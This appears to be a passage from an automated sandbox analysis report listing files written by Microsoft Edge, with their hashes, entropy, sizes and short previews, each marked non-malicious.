C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	782
Entropy (8bit):	4.049291162962452
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ys:G0nYUtypD32m3yWlIZMBA5NgKIvB8s
MD5:	FDF465758A7489458B387EB41C7D42B0
SHA1:	9509283CF1BD7397790091C5A7580CBA353A1143
SHA-256:	C5A7592A847D101DCB71AEE0A234835548121C647E6D99EF794337823A347703
SHA-512:	9E40B768990B3FAC6960274C5C78F9B86585100DBFE92BC885FC5384937F2922C3ED435B44C42DEAC138E8FB22CD1EED865DBB984CFFDAE8ED0BE96EDADA1698
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.207268596382836
Encrypted:	false
SSDEEP:	6:HUOJHwVq2PcNwi23oH+TcwtfrzAdIFUt8YUOJ2gZmw+YUOJoVSIkwOcNwi23oH++:avLZYeb9FUt8o/+F754ZYeb2J
MD5:	C579EE7F92A3C6C71C040995A1864462
SHA1:	D455FF14AFC47C8AACB6D69A0A44E03B8C995162
SHA-256:	8A7AAFFBDFC5851128D25C8866237205AAD5C46516CA3DD4B24528851F911D42
SHA-512:	324B15F38AA06786BF3EB70A5105FD9F59C22E17A177E1ACCAD2F158954AA73075392D10D9C594CDF1B84024D0AEF38805DDB9FC097CC635AD7A04ACF04C97D4
Malicious:	false
Preview:	2024/11/18-04:25:51.553 f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/18-04:25:51.555 f80 Recovering log #3.2024/11/18-04:25:51.556 f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	345
Entropy (8bit):	5.207268596382836
Encrypted:	false
SSDEEP:	6:HUOJHwVq2PcNwi23oH+TcwtfrzAdIFUt8YUOJ2gZmw+YUOJoVSIkwOcNwi23oH++:avLZYeb9FUt8o/+F754ZYeb2J
MD5:	C579EE7F92A3C6C71C040995A1864462
SHA1:	D455FF14AFC47C8AACB6D69A0A44E03B8C995162
SHA-256:	8A7AAFFBDFC5851128D25C8866237205AAD5C46516CA3DD4B24528851F911D42
SHA-512:	324B15F38AA06786BF3EB70A5105FD9F59C22E17A177E1ACCAD2F158954AA73075392D10D9C594CDF1B84024D0AEF38805DDB9FC097CC635AD7A04ACF04C97D4
Malicious:	false
Preview:	2024/11/18-04:25:51.553 f80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/18-04:25:51.555 f80 Recovering log #3.2024/11/18-04:25:51.556 f80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.08953746988921
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SftBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynSt5b7VLyMV/YoskFoz
MD5:	8231123200B57CA3C41EB1D8CD6B42E1
SHA1:	EC859C74DEF3AEB6C99614DA61358F296EEF5E4B
SHA-256:	D0E4FDCFBD6E43B16A765CDBBFFD090F0246179291011776516E9C1672ED82E9
SHA-512:	7D51C308FE4BFA7F36E0CBDE9AF14C1D4E801F5D7270AE9F3CD27A3C48C27EA7B0E7A0ADED7CCCC7616347DA06B5FE64DC3032C4EDAF99B8ECBFB37C99DBDD21
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24d7a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.08953746988921
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SftBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynSt5b7VLyMV/YoskFoz
MD5:	8231123200B57CA3C41EB1D8CD6B42E1
SHA1:	EC859C74DEF3AEB6C99614DA61358F296EEF5E4B
SHA-256:	D0E4FDCFBD6E43B16A765CDBBFFD090F0246179291011776516E9C1672ED82E9
SHA-512:	7D51C308FE4BFA7F36E0CBDE9AF14C1D4E801F5D7270AE9F3CD27A3C48C27EA7B0E7A0ADED7CCCC7616347DA06B5FE64DC3032C4EDAF99B8ECBFB37C99DBDD21
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24d99.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.08953746988921
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SftBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynSt5b7VLyMV/YoskFoz
MD5:	8231123200B57CA3C41EB1D8CD6B42E1
SHA1:	EC859C74DEF3AEB6C99614DA61358F296EEF5E4B
SHA-256:	D0E4FDCFBD6E43B16A765CDBBFFD090F0246179291011776516E9C1672ED82E9
SHA-512:	7D51C308FE4BFA7F36E0CBDE9AF14C1D4E801F5D7270AE9F3CD27A3C48C27EA7B0E7A0ADED7CCCC7616347DA06B5FE64DC3032C4EDAF99B8ECBFB37C99DBDD21
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24f2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.08953746988921
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SftBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynSt5b7VLyMV/YoskFoz
MD5:	8231123200B57CA3C41EB1D8CD6B42E1
SHA1:	EC859C74DEF3AEB6C99614DA61358F296EEF5E4B
SHA-256:	D0E4FDCFBD6E43B16A765CDBBFFD090F0246179291011776516E9C1672ED82E9
SHA-512:	7D51C308FE4BFA7F36E0CBDE9AF14C1D4E801F5D7270AE9F3CD27A3C48C27EA7B0E7A0ADED7CCCC7616347DA06B5FE64DC3032C4EDAF99B8ECBFB37C99DBDD21
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF275f1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.08953746988921
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SftBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynSt5b7VLyMV/YoskFoz
MD5:	8231123200B57CA3C41EB1D8CD6B42E1
SHA1:	EC859C74DEF3AEB6C99614DA61358F296EEF5E4B
SHA-256:	D0E4FDCFBD6E43B16A765CDBBFFD090F0246179291011776516E9C1672ED82E9
SHA-512:	7D51C308FE4BFA7F36E0CBDE9AF14C1D4E801F5D7270AE9F3CD27A3C48C27EA7B0E7A0ADED7CCCC7616347DA06B5FE64DC3032C4EDAF99B8ECBFB37C99DBDD21
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2a1f3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.08953746988921
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SftBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynSt5b7VLyMV/YoskFoz
MD5:	8231123200B57CA3C41EB1D8CD6B42E1
SHA1:	EC859C74DEF3AEB6C99614DA61358F296EEF5E4B
SHA-256:	D0E4FDCFBD6E43B16A765CDBBFFD090F0246179291011776516E9C1672ED82E9
SHA-512:	7D51C308FE4BFA7F36E0CBDE9AF14C1D4E801F5D7270AE9F3CD27A3C48C27EA7B0E7A0ADED7CCCC7616347DA06B5FE64DC3032C4EDAF99B8ECBFB37C99DBDD21
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36013.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.08953746988921
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SftBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynSt5b7VLyMV/YoskFoz
MD5:	8231123200B57CA3C41EB1D8CD6B42E1
SHA1:	EC859C74DEF3AEB6C99614DA61358F296EEF5E4B
SHA-256:	D0E4FDCFBD6E43B16A765CDBBFFD090F0246179291011776516E9C1672ED82E9
SHA-512:	7D51C308FE4BFA7F36E0CBDE9AF14C1D4E801F5D7270AE9F3CD27A3C48C27EA7B0E7A0ADED7CCCC7616347DA06B5FE64DC3032C4EDAF99B8ECBFB37C99DBDD21
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bd56.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.08953746988921
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kdTKKGf4SftBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynSt5b7VLyMV/YoskFoz
MD5:	8231123200B57CA3C41EB1D8CD6B42E1
SHA1:	EC859C74DEF3AEB6C99614DA61358F296EEF5E4B
SHA-256:	D0E4FDCFBD6E43B16A765CDBBFFD090F0246179291011776516E9C1672ED82E9
SHA-512:	7D51C308FE4BFA7F36E0CBDE9AF14C1D4E801F5D7270AE9F3CD27A3C48C27EA7B0E7A0ADED7CCCC7616347DA06B5FE64DC3032C4EDAF99B8ECBFB37C99DBDD21
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
